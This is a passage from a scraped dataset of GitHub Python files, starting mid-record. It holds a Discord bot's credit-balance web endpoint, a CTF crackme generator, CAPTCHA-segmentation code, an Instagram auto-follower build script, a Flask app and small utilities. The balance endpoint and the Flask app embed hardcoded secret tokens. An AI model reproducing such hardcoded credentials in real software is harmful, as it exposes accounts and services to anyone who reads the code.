self.runner.cleanup()\r\n print(\"Web server for UptimeResponder pings has been stopped due to cog unload.\")\r\n\r\n\r\n async def main_page(self, request: web.Request) -> web.Response:\r\n \r\n #print('YO REQUEST')\r\n auth = request.headers.get('Authorization')\r\n if auth == \"6w9z$C&F)J@NcRfUjXn2r5u7x!A%D*G-KaPdSgVkYp3s6v9y/B?E(H+MbQeThWmZq4t7w!z%C&F)J@NcRfUjXn2r5u8x/A?D(G-KaPdSgVkYp3s6v9y$B&E)H@MbQeTh\":\r\n \r\n data = await request.json()\r\n user = data['user']\r\n guild = self.bot.get_guild(893963935672324118)\r\n member = guild.get_member(int(user))\r\n amt = data['amt']\r\n bal = await bank.get_balance(member)\r\n newbal = bal + int(amt)\r\n if newbal > 0:\r\n if int(amt) > 0:\r\n await bank.deposit_credits(member, int(amt))\r\n print(f\"added {amt} to {member.name}\")\r\n return web.Response(\r\n text='{\"newbal\": ' + str(newbal) + '}', status=200\r\n )\r\n else:\r\n await bank.withdraw_credits(member, abs(int(amt)))\r\n print(f\"withdrew {abs(int(amt))} from {member.name}\")\r\n return web.Response(\r\n text='{\"newbal\": ' + str(newbal) + '}', status=200\r\n )\r\n else:\r\n return web.Response(text='{\"error\": \"NEGBAL\"}', status=469)\r\n else:\r\n return web.Response(status=401)\r\n\r\n async def start_webserver(self, port: int | None = None) -> None:\r\n await asyncio.sleep(1) # let previous server shut down if cog was reloaded\r\n\r\n port = port or await self.config.port()\r\n\r\n app = web.Application()\r\n app.add_routes([web.patch(\"/balance\", self.main_page)])\r\n runner = web.AppRunner(app)\r\n await runner.setup()\r\n ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)\r\n ssl_context.load_cert_chain(r\"C:\\Users\\Administrator\\Desktop\\Redbot\\cogs\\Webserver\\domain_srv.crt\", r\"C:\\Users\\Administrator\\Desktop\\Redbot\\cogs\\Webserver\\domain_srv.key\")\r\n site = web.TCPSite(runner, port=port, ssl_context=ssl_context)\r\n await site.start()\r\n self.runner = runner\r\n","repo_name":"ryanjsfx2424/RooBot-ryanjsfx","sub_path":"webserver/webserver.py","file_name":"webserver.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"31345685241","text":"#!/usr/bin/env python3\n\nfrom sys import argv\nimport random\n\nif len(argv) < 3:\n print(f\"Usage: {argv[0]} \")\n exit(1)\n\nflag, ofile, hfile = argv[1:4]\nprint(f\"[{argv[0]}] Using flag: {flag}\")\nprint(f\"[{argv[0]}] Using outfile: {ofile}\")\nprint(f\"[{argv[0]}] Using headerfile: {hfile}\")\n\nrandom.seed(flag)\n\ndef condquit(cond):\n return f'''\\\n if ({cond}) {{\n printf(\"Wrong!!\\\\n\");\n exit(1);\n }}\n'''\n\n# occs is a list of tuples where (c, n) at index i means that the ith char in the flag is the nth occurrence of c\ncounts = [0] * 256\noccs = []\nfor c in flag:\n occs.append((c, counts[ord(c)]))\n counts[ord(c)] += 1\n\n# Order to do checks in\nchkord = list(range(len(flag)-1))\nrandom.shuffle(chkord)\n\nwith open(ofile, 'w') as f:\n f.write(f'#include \"{hfile}\"\\n\\n')\n f.write('int main(int argc, char **argv) {\\n')\n f.write(condquit('argc < 2'))\n f.write(' size_t l = strlen(argv[1]);')\n f.write(condquit(f'l != {len(flag)}'))\n\n for i in chkord:\n c1, n1 = occs[i]\n c2, n2 = occs[i+1]\n f.write(condquit(f\"!before(argv[1], '{c1}', {n1}, '{c2}', {n2})\"))\n\n f.write(' printf(\"Correct!!\\\\n\");')\n f.write('}\\n')\n","repo_name":"tj-oconnor/cyber-open-2022","sub_path":"re/well-ordered/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"1"}
+{"seq_id":"2958577751","text":"import numpy as np\nfrom scipy import misc\n\n\nclass NewSign:\n def __init__(self, pixels, side_of_save):\n self.pixels = pixels\n self.side = side_of_save\n self.north, self.south, self.west, self.east = \\\n self.find_borders()\n self.width = self.east - self.west\n self.height = self.south - self.north\n self.normalized = self.normalize_image()\n self.bitmap = self.make_bitmap()\n\n def find_borders(self):\n\n \"\"\"find extremal values of\n coefficients\"\"\"\n\n return np.min(self.pixels, axis=0)[0], \\\n np.max(self.pixels, axis=0)[0], \\\n np.min(self.pixels, axis=0)[1], \\\n np.max(self.pixels, axis=0)[1]\n\n def normalize_image(self):\n\n \"\"\"normalize image as if it starts from [0, 0]\"\"\"\n\n return self.pixels - np.full((self.pixels.shape[0], 2),\n [self.north, self.west])\n\n def make_bitmap(self):\n\n \"\"\"save a bitmap of separated sign\"\"\"\n\n bitmap = np.full((self.side, self.side), 1.)\n for pixel in self.normalized:\n if pixel[0] < self.side and pixel[1] < self.side:\n bitmap[pixel[0], pixel[1]] = 0.\n\n return bitmap\n\n def show(self):\n misc.imshow(self.bitmap)\n\n def save(self, id):\n misc.imsave(id + '.png', self.bitmap)","repo_name":"aczeszejko-sochacki/Data-Mining-CAPTCHA-recognizing","sub_path":"src/save_images.py","file_name":"save_images.py","file_ext":"py","file_size_in_byte":1359,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"39549340583","text":"from setuptools import setup\nimport sys\n\nfrom cx_Freeze import setup, Executable\n\nbase = None\nif sys.platform == \"win32\":\n base = \"Win32GUI\"\n\nexecutables = [\n Executable(\"your_script.py\", base=base, icon=\"img/instabotify.ico\")\n]\n\nbuild_options = {\"packages\": [], \"include_files\": [\"img/\"]}\n\nsetup(\n name=\"IG-Ultimate\",\n version=\"1.0\",\n description=\"Auto follower tool for instagram\",\n options={\"build_exe\": build_options},\n executables=executables\n)","repo_name":"erikonasz/InstagramTkinterBot","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":470,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"34335488356","text":"import random\nfrom app.models import db, Checkin, environment, SCHEMA\nfrom sqlalchemy.sql import text\nfrom datetime import datetime, timedelta\n\n\ndef seed_checkins():\n per_habit = 15\n completion_probability = 0.85\n\n for i in range(1, 42):\n start = datetime.now() - timedelta(days=1)\n\n for e in range(1, per_habit):\n checkin_date = start - timedelta(days=per_habit - e)\n # completed = random.choice([True, False])\n completed = random.random() < completion_probability\n\n checkin = Checkin(habit_id=i,\n completed=completed, created_at=checkin_date)\n db.session.add(checkin)\n\n db.session.commit()\n\n\ndef undo_checkins():\n if environment == \"production\":\n db.session.execute(\n f\"TRUNCATE table {SCHEMA}.checkins RESTART IDENTITY CASCADE;\")\n else:\n db.session.execute(text(\"DELETE FROM checkins\"))\n\n db.session.commit()\n","repo_name":"bergmazz/little-strides","sub_path":"app/seeds/checkins.py","file_name":"checkins.py","file_ext":"py","file_size_in_byte":954,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"32655505343","text":"\nfrom flask import Blueprint\nfrom sqlalchemy.orm import joinedload\nfrom werkzeug.exceptions import Forbidden\n\nfrom server.api.base import json_endpoint, query_param\nfrom server.auth.security import confirm_organisation_admin_or_manager, confirm_write_access\nfrom server.db.db import db\nfrom server.db.domain import Tag, Collaboration\nfrom server.db.models import delete\n\ntag_api = Blueprint(\"api_tag\", __name__, url_prefix=\"/api/tags\")\n\n\n@tag_api.route(\"/\", strict_slashes=False)\n@json_endpoint\ndef all_organisation_tags():\n organisation_id = int(query_param(\"organisation_id\"))\n confirm_organisation_admin_or_manager(organisation_id)\n\n tags = Tag.query \\\n .join(Tag.collaborations) \\\n .join(Collaboration.organisation) \\\n .filter(Collaboration.organisation_id == organisation_id) \\\n .all()\n return tags, 200\n\n\n@tag_api.route(\"/all\", strict_slashes=False)\n@json_endpoint\ndef all_tags():\n confirm_write_access()\n return Tag.query.options(joinedload(Tag.collaborations).subqueryload(Collaboration.organisation)).all(), 200\n\n\n@tag_api.route(\"//\", methods=[\"DELETE\"], strict_slashes=False)\n@json_endpoint\ndef delete_tag(organisation_id, id):\n confirm_organisation_admin_or_manager(organisation_id)\n tag = db.session.get(Tag, id)\n for collaboration in tag.collaborations:\n if collaboration.organisation_id != int(organisation_id):\n raise Forbidden()\n return delete(Tag, id)\n\n\n@tag_api.route(\"/orphans\", strict_slashes=False)\n@json_endpoint\ndef orphan_tags():\n confirm_write_access()\n\n return Tag.query.filter(~Tag.collaborations.any()).all(), 200\n","repo_name":"SURFscz/SBS","sub_path":"server/api/tag.py","file_name":"tag.py","file_ext":"py","file_size_in_byte":1645,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"1"}
+{"seq_id":"73769817315","text":"import sys\n\nsys.path.append('/home/enrico/iper-social-simulations')\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport coloredlogs, logging\n_log = logging.getLogger(__name__)\n\nfrom BCNCovid2020 import BCNCovid2020\nimport argparse\nimport geopy\ngeopy.geocoders.options.default_user_agent = \"iper-social\"\n\ndef main(args):\n\n # Set log level\n loglevel = 'DEBUG' if args.verbose else 'INFO'\n coloredlogs.install(level=loglevel)\n \n # Start model\n _log.info(\"Started BCN Mobility simulator with params %s\"%str(args))\n model = BCNCovid2020(args.agents, args.basemap, args.family, args.job, args.age)\n \n model.plotAll(\"start.png\")\n \n model.run_model(args.steps)\n model.plotAll(\"end.png\")\n \n return model\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-v','--verbose', action=\"store_true\", help=\"Print additional information\" )\n parser.add_argument('-s','--steps', type=int, default=10, help=\"Timesteps to run the model for\" ) \n parser.add_argument('-n','--agents', type=int, default=1000, help=\"Numer of starting agents\" )\n parser.add_argument('-b','--basemap', type=str, default=\"Barcelona, Spain\", help=\"Basemap for geo referencing the model\" )\n parser.add_argument('-f','--family', type=list, default=[19.9 ,23.8 ,20.4, 24.8, 8.9, 2.2], help=\"distribution listeach term in the distr list represents the probability of generating a familywith a number of individuals equal to the index of that element of distr\" ) \n parser.add_argument('-j','--job', type=dict, default={\"unemployed\":6.0,\"type1\":14.00,\"type2\":10.00,\"type3\":10.00,\"type4\":10.00,\"type5\":10.00,\"type6\":40.00,} , help=\"it is a dictionary containing workgroups\" )\n parser.add_argument('-a','--age', type=dict, default={\"00-10\":8.89,\"11-20\":8.58,\"21-30\":13.04,\"31-40\":15.41,\"41-50\":15.34,\"51-60\":13.06,\"61-70\":10.53,\"71-80\":8.41,\"81-90\":5.46,\"91-99\":1.28}, help=\"it is a dictionary containing age groups\" )\n parser.set_defaults(func=main) \n \n args = parser.parse_args() \n model = args.func(args) \n\n\n\t\n\t\n","repo_name":"mrceresa/iper","sub_path":"examples/SAR-COV2/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":2040,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"1"}
+{"seq_id":"4747013662","text":"import ray\nfrom ray import tune\nimport numpy as np\nimport networkx as nx\n\nfrom ray.tune import grid_search\nfrom ray.tune.registry import register_env\nfrom ray.rllib.agents.ppo import PPOTrainer\nfrom ray.tune.schedulers import AsyncHyperBandScheduler\nfrom collections import defaultdict\n\n\n# Import environment definition\nfrom decentralized_env.marl_env.environment import WirelessEnv\nfrom decentralized_env.marl_env.customcallback import PacketDeliveredCountCallback\n\n# Driver code for training\ndef setup_and_train():\n\n d = defaultdict(list)\n \"\"\"Larger network\"\"\"\n #data = [(0,2),(0,1),(0,3),(1,2),(1,3),(2,3),(2,4),(3,4),(5,2),(5,3),(5,4),(5,6),(6,7),(6,8),(7,8),(8,9),(9,10),(4,10)]#(4,6),(5,10),(6,10),(9,6),(8,10)]\n \"\"\"Smaller netowrk\"\"\"\n data = [(0,2),(0,1),(0,3),(1,2),(1,3),(2,3),(2,4),(3,4),(5,2),(5,3),(5,4)]\n\n #data = [(0,1),(0,2),(1,2),(0,3),(1,3),(2,3)]\n # defaultdict(, {})\n for node, dest in data:\n d[node].append(dest)\n\n G = nx.Graph()\n for k,v in d.items():\n for vv in v:\n G.add_edge(k,vv)\n\n #nx.draw_networkx(G)\n\n # Create a single environment and register it\n def env_creator(_):\n return WirelessEnv(G, False)\n single_env = WirelessEnv(G, False)\n env_name = \"WirelessEnv\"\n register_env(env_name, env_creator)\n\n # Get environment obs, action spaces and number of agents\n obs_space = single_env.observation_space\n #act_space = single_env.action_space\n num_agents = single_env.num_agents\n\n # Create a policy mapping\n def gen_policy(agent_id):\n act_space = single_env.get_agent_action_space(agent_id)\n return (None, obs_space, act_space, {})\n\n policy_graphs = {}\n for i in range(num_agents):\n policy_graphs['agent-' + str(i)] = gen_policy(i)\n\n def policy_mapping_fn(agent_id):\n return 'agent-' + str(agent_id)\n\n # Define configuration with hyperparam and training details\n config={\n \"log_level\": \"ERROR\",\n \"num_workers\": 6,\n \"num_cpus_for_driver\": 4,\n \"num_cpus_per_worker\": 2,\n \"num_gpus\": 0,\n \"num_envs_per_worker\": 1,\n \"no_done_at_end\": True,\n \"seed\":10,\n \"gamma\": 0.9392979332914239,\n\n#---------------------------------------------------------------------------------------\n\n \"use_critic\": True,\n \"use_gae\": True,\n \"lambda\": 0.9844457867596674,\n \"kl_coeff\": 0.2,\n \"rollout_fragment_length\": 200,\n \"train_batch_size\": 2048,\n \"sgd_minibatch_size\": 128,\n \"shuffle_sequences\": True,\n \"num_sgd_iter\": 6,\n \"lr\": 4.304049744289648e-05,\n \"lr_schedule\": None,\n \"vf_share_layers\": False,\n \"vf_loss_coeff\": 1.0,\n \"entropy_coeff\": 0.05427902707123386,\n \"entropy_coeff_schedule\": None,\n \"clip_param\": 0.1,\n \"vf_clip_param\": 300,\n \"grad_clip\": None,\n \"kl_target\": 0.01,\n \"batch_mode\": \"truncate_episodes\",\n \"observation_filter\": \"NoFilter\",\n \"simple_optimizer\": False,\n \"_fake_gpus\": False,\n#---------------------------------------------------------------------------------------\n \"multiagent\": {\n \"policies\": policy_graphs,\n \"policy_mapping_fn\": policy_mapping_fn,\n \"count_steps_by\": \"env_steps\",\n },\n \"env\": \"WirelessEnv\",\n \"callbacks\": PacketDeliveredCountCallback\n}\n\n asha_scheduler = AsyncHyperBandScheduler(\n time_attr='timesteps_total',\n metric='episode_reward_mean',\n mode='max',\n max_t=120,\n grace_period=50,\n reduction_factor=2,\n brackets=2)\n\n\n # Define experiment details\n exp_name = 'wmac_marl'\n exp_dict = {\n 'name': exp_name,\n 'run_or_experiment': 'PPO',\n \"stop\": {\n #\"training_iteration\": 1500,\n \"timesteps_total\": 120,\n },\n 'checkpoint_freq': 10,\n \"local_dir\":\"logs/\",\n \"verbose\": 1,\n \"num_samples\":1,\n #\"search_alg\":ax_search,\n \"scheduler\":asha_scheduler,\n \"config\": config,\n \"checkpoint_at_end\":True,\n \"checkpoint_score_attr\":\"episode_reward_mean\",\n \"keep_checkpoints_num\":1,\n }\n\n\n\n # Initialize ray and run\n ray.init()\n analysis = tune.run(**exp_dict)\n print(\"Best configuration is \",analysis.get_best_config(metric=\"episode_reward_mean\", mode = \"max\"))\n\n checkpoints = analysis.get_trial_checkpoints_paths(trial=analysis.get_best_trial('episode_reward_mean', mode= \"max\"), metric='episode_reward_mean')\n\n print(checkpoints[0][0])\n agent = PPOTrainer(env=env_name,config=config)\n agent.restore(checkpoints[0][0])\n\n packet_delivered = []\n for itr in range(5000):\n episode_reward = 0\n done = {}\n obs = single_env.reset()\n while (1):\n actions = {}\n for i in range(num_agents):\n actions[i] = agent.compute_action(obs[i], policy_id = 'agent-' + str(i)) \n obs, reward, done, info = single_env.step(actions)\n if done['__all__']:\n packet_delivered.append(single_env.get_packet_delivered_count())\n if itr % 500 == 0:\n print(\"pckt delivered mean after \", itr,\" episodes:\", np.mean(packet_delivered))\n break\n print(\"final packt delivered mean :\", np.mean(packet_delivered))\n\n\nif __name__=='__main__':\n setup_and_train()\n","repo_name":"mlchethanupb/myworks","sub_path":"aicon_project/code/train_decentralized_env.py","file_name":"train_decentralized_env.py","file_ext":"py","file_size_in_byte":5821,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"5365119178","text":"import os\nimport base64\nfrom flask import Flask, render_template\nfrom random import randint\n\ndef create_app(test_config=None):\n # create and configure the app\n app = Flask(__name__, instance_relative_config=True)\n app.config.from_mapping(\n SECRET_KEY='qGOVlYSDasdfasdasdasd PoaW',\n DATABASE=os.path.join(app.instance_path, 'db.sqlite'),\n )\n\n if test_config is None:\n # load the instance config, if it exists, when not testing\n app.config.from_pyfile('config.py', silent=True)\n else:\n # load the test config if passed in\n app.config.from_mapping(test_config)\n\n # ensure the instance folder exists\n try:\n os.makedirs(app.instance_path)\n except OSError:\n pass\n\n\n import db\n db.init_app(app)\n\n\n import auth\n app.register_blueprint(auth.bp)\n\n\n import rechenknecht \n app.register_blueprint(rechenknecht.bp)\n app.add_url_rule(\"/\", endpoint='index')\n\n\n @app.errorhandler(404)\n def errorhandler404(error):\n return render_template('404.html', title=\"404\"), 404\n\n return app\n\napp = create_app()\n","repo_name":"TLFTobiNary/rechenknecht","sub_path":"rechenknecht/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"28594086759","text":"#!/usr/bin/env python3\n\ndef talking_duck(sentence, num):\n temp = sentence + \" Quack.\" * num\n return temp\n\ndef hello():\n print(\"Hello Everyone!\")\n\ndef square(num):\n num = num ** 2\n\ndef main():\n print(\"Hello World!\")\n\n num_integer = 42\n print(num_integer)\n\n num_integer = num_integer + 1\n print(num_integer)\n\n num_float = 3.14\n whole_float = 42.0\n\n print(3.9 + 2.1)\n\n str1 = 'This is \" a string'\n str2 = \"This is ' also a string\"\n str3 = f\"The value of a variable is {num_integer}\"\n\n str4 = \"\"\" This\n is\n multiple\n lines\"\"\"\n\n print(str3)\n\n print(\"quack \" * 3)\n\n print(\"Hello\" + \" \" + \"World\")\n\n var_t = True #bool\n fake_var_t = \"True\" #string\n\n five = \"5\"\n five_num = int(five)\n five = str(five_num)\n print(five_num + 3, five + '3')\n\n print(\"line1\", end=' ')\n print(\"line2\")\n\n print(\"alma\\nkorte\")\n\n hello()\n hello()\n hello()\n\n square(num_integer)\n print(num_integer)\n\n #num = int(input(\"Enter a number: \"))\n\n #duck = talking_duck(\"I am a duck.\", num)\n #print(duck)\n\n people = []\n person1 = \"John\"\n people.append(person1)\n people.append(\"Joe\")\n print(people)\n people[1] = \"Not Joe\"\n print(people)\n print(len(people))\n print(people[-1])\n \n\n\n\nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"Goldan32/learn-python","sub_path":"hello.py","file_name":"hello.py","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"1"}
+{"seq_id":"24272962215","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 9 10:59:47 2016\n\n@author: eejvt\n\"\"\"\n\n\n\nimport numpy as np\nimport sys\n\nsys.path.append('/nfs/see-fs-01_users/eejvt/PYTHON_CODE')\nimport Jesuslib as jl\nimport os\nimport matplotlib as mpl\n\nmpl.rcParams['font.size'] = 15\nmpl.rcParams['legend.fontsize']= 15\nmpl.rcParams['legend.frameon'] = 'False'\n\n# matplotlib.RcParams['font.size']=15\nfrom scipy.io.idl import readsav\nfrom glob import glob\nfrom scipy.io import netcdf\nimport matplotlib.pyplot as plt\nimport scipy as sc\nfrom scipy.stats.stats import pearsonr\nfrom glob import glob\n\n\nR=8.3\np_w=1\nT=273\nV_w=0.9\nM_w=1\na_w=0.9\nsigma_w=75.64\nDd=0.5\nk=0.9\n\ndef sw_approx(D):\n return aw(D)*np.exp((4*sigma_w*M_w)/(R*T*p_w*D))\ndef sw(D):\n return np.exp(1/D)\ndef aw(D):\n return (D**3-Dd**3)/(D**3-Dd**3*(1-k))\ndef sw(D):\n return aw(D)*np.exp((4*sigma_w*V_w)/(R*T*D))\ndef k_exp(D):\n return np.exp((4*sigma_w*M_w)/(R*T*p_w*D))\n\nDs=np.logspace(-2,0,10000)\nDs=np.linspace(0.35,200,100000)\n#Ds=np.logspace(-1,1,1000)\nplt.close()\nplt.plot(Ds,aw(Ds)*100)\nplt.plot(Ds,sw(Ds)*100)\nplt.plot(Ds,k_exp(Ds)*100)\nplt.ylim(50,120)\nplt.axhline(100,c='k',ls='-',lw=0.4)\nplt.axhline(np.max(sw(Ds)*100),xmin=0,xmax=0.3,c='k',ls='--')#np.max(sw(Ds))*100\n\nplt.axvline(Ds[np.argmax(sw(Ds))],ymin=0,ymax=0.8,c='k',ls='--')#np.max(sw(Ds))*100\nplt.text(Ds[np.argmax(sw(Ds))]-0.3,45,'$R_c$')\nplt.text(0.17,np.max(sw(Ds)*100)-1,'$S_c$')\nplt.xscale('log')\nplt.ylabel('Relative humidity (%)')\nplt.xlabel('Diameter $(\\mu m)$')\nplt.show()\n\n\n#plt.xscale('log')\n","repo_name":"Numlet/INP_code_PhD","sub_path":"kohler.py","file_name":"kohler.py","file_ext":"py","file_size_in_byte":1530,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"15075776899","text":"import math;\r\n\r\nnumbers = [];\r\n\r\nfor a in range(1,100):\r\n\tfor b in range(1,100):\r\n\t\tnumbers.append(math.pow(a,b));\r\n\r\nfor x in range(len(numbers)):\r\n\tnumbers[x] = int(numbers[x]);\r\n\r\nmaxVal = 0;\r\n\r\nfor number in numbers:\r\n\tcurrentMax = 0;\r\n\tholder = str((number));\r\n\tfor digit in holder:\r\n\t\tcurrentMax += int(digit);\r\n\r\n\tif currentMax > maxVal:\r\n\t\tmaxVal = currentMax;\r\n\t\tMaxNum = number;\r\n\r\nprint(maxVal, MaxNum);\r\n\r\n","repo_name":"AImenes/Project-Euler","sub_path":"python/problem56.py","file_name":"problem56.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"42332064885","text":"import os\nimport keyword\nfrom bisect import insort, bisect_left, bisect_right\nfrom ciBase import CodeItem, asCodeItem\n\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#~ Definitions \n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nfileHeader = '''\\\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#~ Imports \n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n%(importStmts)s\n\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#~ Code generated from:\n#~ \"%(generatedFrom)s\"\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'''\n\nfileFooter = '''\\\n\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#~ End of code generated from:\n#~ \"%(generatedFrom)s\"\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n'''\n\nclass CIFile(CodeItem): \n header = fileHeader\n footer = fileFooter\n blockSeparator = '\\n#~ line: %(line)s, skipped: %(lineDelta)s ~~~~~~\\n'\n lineSeparator = ''\n\n importStmts = []\n\n def _initialize(self):\n # make a modifable copy of importStmts\n self.importStmts = self.importStmts[:]\n self.lines = []\n self.ciAll = set()\n\n def isRequired(self):\n for e in self.lines:\n if e[-1]:\n return True\n else:\n return False\n def __len__(self):\n return len(self.lines)\n\n #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n def clearImportStmts(self):\n self.setImportStmts([])\n def setImportStmts(self, importStmts):\n self.importStmts = list(importStmts)\n def addImportStmt(self, *importStmts):\n self.importStmts.extend(importStmts)\n def extendImportStmts(self, importStmts):\n self.importStmts.extend(importStmts)\n\n #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n def stmtImport(self, moduleName):\n if not isinstance(moduleName, (str, unicode)):\n moduleName = moduleName.getModuleName()\n return 'import %s' % (moduleName,)\n def stmtImportNames(self, moduleName, *names):\n if not isinstance(moduleName, (str, unicode)):\n moduleName = moduleName.getModuleName()\n return 'from %s import %s' % (moduleName, ', '.join(names))\n def stmtImportAll(self, moduleName):\n return self.stmtImportNames(moduleName, '*')\n\n def clearImports(self):\n self.clearImportStmts()\n def importModules(self, *moduleNames, **kw):\n if kw.pop('clear', False): self.clearImports()\n self.extendImportStmts(self.stmtImport(mod) for mod in moduleNames)\n def importAll(self, *moduleNames, **kw):\n if kw.pop('clear', False): self.clearImports()\n self.extendImportStmts(self.stmtImportAll(mod) for mod in moduleNames)\n def importNames(self, moduleName, *names, **kw):\n if kw.pop('clear', False): self.clearImports()\n self.addImportStmt(self.stmtImportNames(moduleName, *names))\n\n #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n @property\n def name(self): \n return self.item.name\n\n _moduleName = None\n def getModuleName(self):\n if self._moduleName is None:\n result = self.getBaseFilename()\n result = os.path.basename(result)\n result = os.path.splitext(result)[0]\n return result\n else:\n return self._moduleName\n def setModuleName(self, moduleName):\n self._moduleName = moduleName\n if self._filename is None:\n self.setBaseFilename(moduleName+'.py')\n moduleName = property(getModuleName, setModuleName)\n\n _filename = None\n def getBaseFilename(self):\n if self._filename is None:\n result = self.name\n result = os.path.basename(result)\n result = os.path.splitext(result)[0]\n if keyword.iskeyword(result):\n # mangle the name so we can import it\n result += '_'\n self.setBaseFilename(result + '.py')\n\n return self._filename\n def setBaseFilename(self, filename):\n self._filename = filename\n baseFilename = property(getBaseFilename, setBaseFilename)\n\n def getFilename(self):\n return self.context.getOutputFilename(self.getBaseFilename())\n filename = property(getFilename)\n\n def getHostCI(self):\n return asCodeItem(self.item.root)\n\n def add(self, ci):\n ci = asCodeItem(ci)\n if ci not in self.ciAll:\n insort(self.lines, (ci.line, ci))\n self.ciAll.add(ci)\n\n def getItemsBetween(self, fromCI, toCI=None):\n return (l[-1] for l in self.getLinesBetween(fromCI, toCI))\n def getLinesBetween(self, fromCI, toCI=None):\n if fromCI is not None:\n idx0 = bisect_right(self.lines, (fromCI.line, fromCI))\n else: idx0 = None\n\n if toCI is not None:\n idx1 = bisect_left(self.lines, (toCI.line, toCI))\n else: idx1 = None\n\n return self.lines[idx0:idx1]\n\n #~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n def writeToFile(self):\n stream = self.context.createStream(self.getBaseFilename())\n try:\n self.writeTo(stream)\n finally:\n stream.close()\n\n def writeTo(self, stream):\n self.writeHeaderTo(stream)\n self.writeContentTo(stream)\n self.writeFooterTo(stream)\n\n def writeHeaderTo(self, stream):\n if self.header:\n print >> stream, self.header % dict(\n importStmts='\\n'.join(self.importStmts),\n generatedFrom=self.item.name,\n )\n\n def writeFooterTo(self, stream):\n if self.footer:\n print >> stream, self.footer % dict(\n generatedFrom=self.item.name,\n )\n\n prependFiles = ()\n appendFiles = ()\n def writeContentTo(self, stream):\n for ciFile in self.prependFiles:\n ciFile.writeContentTo(stream)\n\n self.writeLinesTo(self.lines, stream)\n\n for ciFile in self.appendFiles:\n ciFile.writeContentTo(stream)\n\n def writeLinesTo(self, lines, stream):\n lastIdx = 0\n for idx, lineItem in lines:\n if not lineItem:\n continue\n else:\n lastIdx = self.writeSeparatorTo(stream, lastIdx, idx)\n if isinstance(lineItem, (str, unicode)):\n # allow for literals\n print >> stream, lineItem\n else:\n lineItem.writeTo(stream)\n print >> stream\n\n def writeSeparatorTo(self, stream, lastIdx, idx):\n if not lastIdx:\n return idx\n\n delta = idx-lastIdx\n if self.blockSeparator and delta > 3:\n print >> stream, self.blockSeparator % dict(line=idx, lastprev=lastIdx, lineDelta=delta)\n elif delta > 1:\n print >> stream, self.lineSeparator % dict(line=idx, lastPrev=lastIdx, lineDelta=delta)\n\n return idx\n\n","repo_name":"techgame/tg-gccxml","sub_path":"xforms/ctypes/ciFile.py","file_name":"ciFile.py","file_ext":"py","file_size_in_byte":6977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
+{"seq_id":"18475945149","text":"#Welcome to Python Tutorial 2!\n\n#Getting input from the user\n\n#To get input from the user\nname = input(\"Enter your name: \")\n\n#We can prompt the user to enter multiple amounts of data\nage = input(\"Enter your age: \")\n\n#print value you got from user\nprint(\"Hello \" + name + \"!\" + \"\\nYou are: \" + age + \" Years old!\")\n\n#End of Python Tutorial 2\n\n","repo_name":"R-Llewellyn96/Python-4HourTutorial","sub_path":"venv/Tut2.py","file_name":"Tut2.py","file_ext":"py","file_size_in_byte":342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"1"}
